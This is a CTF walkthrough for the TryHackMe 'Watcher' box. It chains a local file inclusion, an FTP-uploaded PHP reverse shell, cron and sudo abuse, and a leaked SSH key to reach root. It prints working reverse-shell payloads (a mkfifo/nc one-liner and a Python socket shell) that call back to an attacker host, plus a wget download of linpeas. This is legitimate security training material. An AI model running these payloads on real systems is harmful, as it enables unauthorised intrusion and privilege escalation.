TryHackMe Watcher Writeup
This writeup will help you solve the Watcher box on TryHackMe. This box is slightly different from the other boxes since we now have to find 7 flags. Before we start enumerating the box, add the following line to your /etc/hosts
file.
echo "<box_ip> watcher.thm" >> /etc/hosts
TryHackMe Watcher – Enumeration
As per usual, we start by running a port scan on the host using nmap
. The sC
and sV
flags indicate that basic vulnerability scripts are executed against the target and that the port scan tries to find version information.
nmap -sV -sC watcher.thm
The output of the scan can be seen below:
21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 e1:80:ec:1f:26:9e:32:eb:27:3f:26:ac:d2:37:ba:96 (RSA) | 256 36:ff:70:11:05:8e:d4:50:7a:29:91:58:75:ac:2e:76 (ECDSA) |_ 256 48:d2:3e:45:da:0c:f0:f6:65:4e:f9:78:97:37:aa:8a (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-generator: Jekyll v4.1.1 |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Corkplacemats Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
We find 3
open ports on the server. Port 21
serves FTP, port 22
serves SSH, and port 80
serves an Apache web server. We start by checking the web page found when browsing to http://watcher.thm/
.

Flag 1
For the first flag, we need to inspect a well-known file. The file referred to is the robots.txt
file. This file provides a set of rules that webspiders or crawlers need to abide by. Examples of crawling bots are the search engine bots used by Google. The file contains the following lines:
User-agent: * Allow: /flag_1.txt Allow: /secret_file_do_not_read.txt
We find two new text files. The flag_1.txt
contains the first flag. You can get this flag by browsing to http://watcher.thm/flag_1.txt
. We are unauthorized to view the contents of the secret_file_do_not_read.txt
file.
Flag 2
The next thing I did was clicking through the site. I discovered that PHP
files were included in the URL. For instance, you can browse to http://watcher.thm/post.php?post=round.php
. By browsing this URL, we find the following page:

You are also able to browse the template itself: http://watcher.thm/round.php
. You should then see the following page

It seems like files from the systems can be included on the http://watcher.thm/post.php
page. We can find out by adding the secret_file_do_not_read.txt
as a parameter of the URL. Browse to: http://watcher.thm/post.php?post=secret_file_do_not_read.txt
to find the following text
Hi Mat, The credentials for the FTP server are below. I've set the files to be saved to /home/ftpuser/ftp/files. Will ---------- ftpuser:<REDACTED>
Log on to the FTP server using the just found credentials
ftp watcher.thm
After providing the credentials, you see the directory: files
and the file: flag_2.txt
. Run the following commands to read the contents of the second flag.
get flag_2.txt exit cat flag_2.txt
TryHackMe Watcher – Flag 3
The files
directory on the FTP server is writable! This means that we potentially could upload a reverse shell into the system. The only condition we have to fulfil is that we have to be able to execute the code. Since code in PHP files is executed directly on the server and because we already have obtained a Local File Inclusion (LFI) vulnerability to the server, we can execute our reverse shell on the server. Let’s start by putting the reverse shell on the server. Get the following file from GitHub. Change the $ip
variable to the IP address of your attacking machine. Change $port
to 9001. Save the file as shell.php
. Log on to the server using FTP and provide the credentials we used previously.
ftp watcher.thm cd files put shell.php exit
The shell.php
is now successfully uploaded to the server. We now have to access the shell.php
in the browser to activate the reverse shell. Browse to: HTTP://watcher.thm/post.php?post=/etc/passwd
to read the /etc/passwd
file. We can read this file thanks to the LFI vulnerability. The contents can be seen below.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin will:x:1000:1000:will:/home/will:/bin/bash ftp:x:111:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin ftpuser:x:1001:1001:,,,:/home/ftpuser:/usr/sbin/nologin mat:x:1002:1002:,#,,:/home/mat:/bin/bash toby:x:1003:1003:,,,:/home/toby:/bin/bash
Because we can see the values of ftp
and ftpuser
we see that the location of our shell is: /home/ftpuser/ftp/files/shell.php
. On your attacking machine run:
nc -lvnp 9001
Now browse to http://watcher.thm/post.php?post=/home/ftpuser/ftp/files/shell.php
to activate your shell. Within this terminal, run the following commands to improve your shell:
python3 -c 'import pty;pty.spawn("/bin/bash")' export TERM=xterm-256color CTRL+Z stty raw -echo;fg ENTER ENTER
Note: The capitalized words are keyboard combinations.
The third flag is located at: /var/www/html/more_secrets_******
. I obfuscated the full directory. If all went well up to this point, it is easy for you to find the third flag.
Flag 4
Now that we have a shell, we need to escalate privileges to root the system. To do so, let’s start with a simple command. Run sudo -l
on the server to find the following output:
Matching Defaults entries for www-data on watcher: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on watcher: (toby) NOPASSWD: ALL
We, the www-data
user, are allowed to run any command as the toby
user. You can choose any command from: GTFObins. I chose to abuse the vi
command by running:
sudo -u toby vi -c ':!/bin/sh' /dev/null
The fourth flag is located in the /home/toby
directory.
Flag 5
Now that we became the toby
user, we should investigate how to get more privileges. To do so, we use linpeas
. You can get linpeas.sh
here. Then run the following commands on your local machine
cd <location of linpeas.sh> python3 -m http.server
Then on the server run:
wget HTTP://<attacking_ip>:8000/linpeas.sh chmod +x linpeas.sh ./linpeas.sh
Wait for a few minutes. There is one interesting cron file that is executed every minute. This is the interesting line in the output of linpeas
:
*/1 * * * * mat /home/toby/jobs/cow.sh
The mat
user executes /home/toby/jobs/cow.sh
every minute. This file is in complete control of the toby
user, so we can use it to elevate privileges. Run the following commands on the server:
chmod 777 /home/toby/jobs/cow.sh echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacking_ip> 9002 >/tmp/f" > /home/toby/jobs/cow.sh
You also need to start a new netcat
listener on your attacking machine. Do so by opening a new terminal and run the following command:
nc -lvnp 9002
After a minute, you should obtain a shell within this terminal. You can check above how to improve your shell. The commands are the same. The fifth flag is located in the /home/mat
directory.
Flag 6
Running sudo -l
again gives the following output:
Matching Defaults entries for mat on watcher: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User mat may run the following commands on watcher: (will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *
We can execute the Python script as the will
user. The content of the /home/mat/scripts/will_script.py
is listed below:
import os import sys from cmd import get_command cmd = get_command(sys.argv[1]) whitelist = ["ls -lah", "id", "cat /etc/passwd"] if cmd not in whitelist: print("Invalid command!") exit() os.system(cmd)
We can see that we can run bash
commands as will
on the server. The cmd.py
file is owned by our current user: mat
. This means that we can change the contents of this file to spawn a new shell. Open the file /home/mat/scripts/cmd.py
in your favourite editor and change the contents to the following:
#!/usr/bin/python # -*- coding: utf-8 -*- import socket import subprocess import os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('<attacking_ip>', 9003)) os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(['/bin/sh', '-i'])
Save the file and run the following command in a new terminal on your local machine:
nc -lvnp 9003
Go back to the terminal of the mat
user and execute the following command:
sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py ls
You should receive a new shell as the will
user. The sixth flag is located at: /home/will
.
TryHackMe Watcher – Privilege Escalation/Flag 7
Our final objective is finding the root.txt
. Run the command: id
to find that the will
user is part of the following groups:
uid=1000(will) gid=1000(will) groups=1000(will),4(adm)
Run the find
command to see which files are owned by the adm
group. The exact command is listed below:
find -group adm 2>/dev/null
The outcome can be seen below:
/opt/backups /opt/backups/key.b64 /var/log/auth.log /var/log/kern.log /var/log/syslog /var/log/apache2 /var/log/apache2/access.log /var/log/apache2/error.log /var/log/apache2/other_vhosts_access.log /var/log/cloud-init.log /var/log/unattended-upgrades /var/log/unattended-upgrades/unattended-upgrades-dpkg.log /var/log/apt/term.log /var/spool/rsyslog
The /opt/backups/key.b64
file contains a private key. Run the following command: cat /opt/backups/key.b64 | base64 -d
to acquire the content of this file. Save it to your local machine as id_rsa
and change the permissions to 400
. You can now run:
ssh -i id_rsa [email protected]
Providing the private key gives us root
access to the server. The final flag is located in the /root
directory.
TryHackMe Watcher was a fun box to root. The biggest ‘flaw’ of this server was the local file inclusion providing us with an initial shell. There are two types of privilege escalations. The first one is horizontal privilege escalation and the other is vertical privilege escalation. Horizontal privilege escalation is getting access to accounts with the same privileges as the current one. Vertical privilege escalations are escalations performed by acquiring more privileges than the ones owned by the current user. By performing horizontal privilege escalation, we were, in the end, able to achieve the desired vertical privilege escalation to root
as well.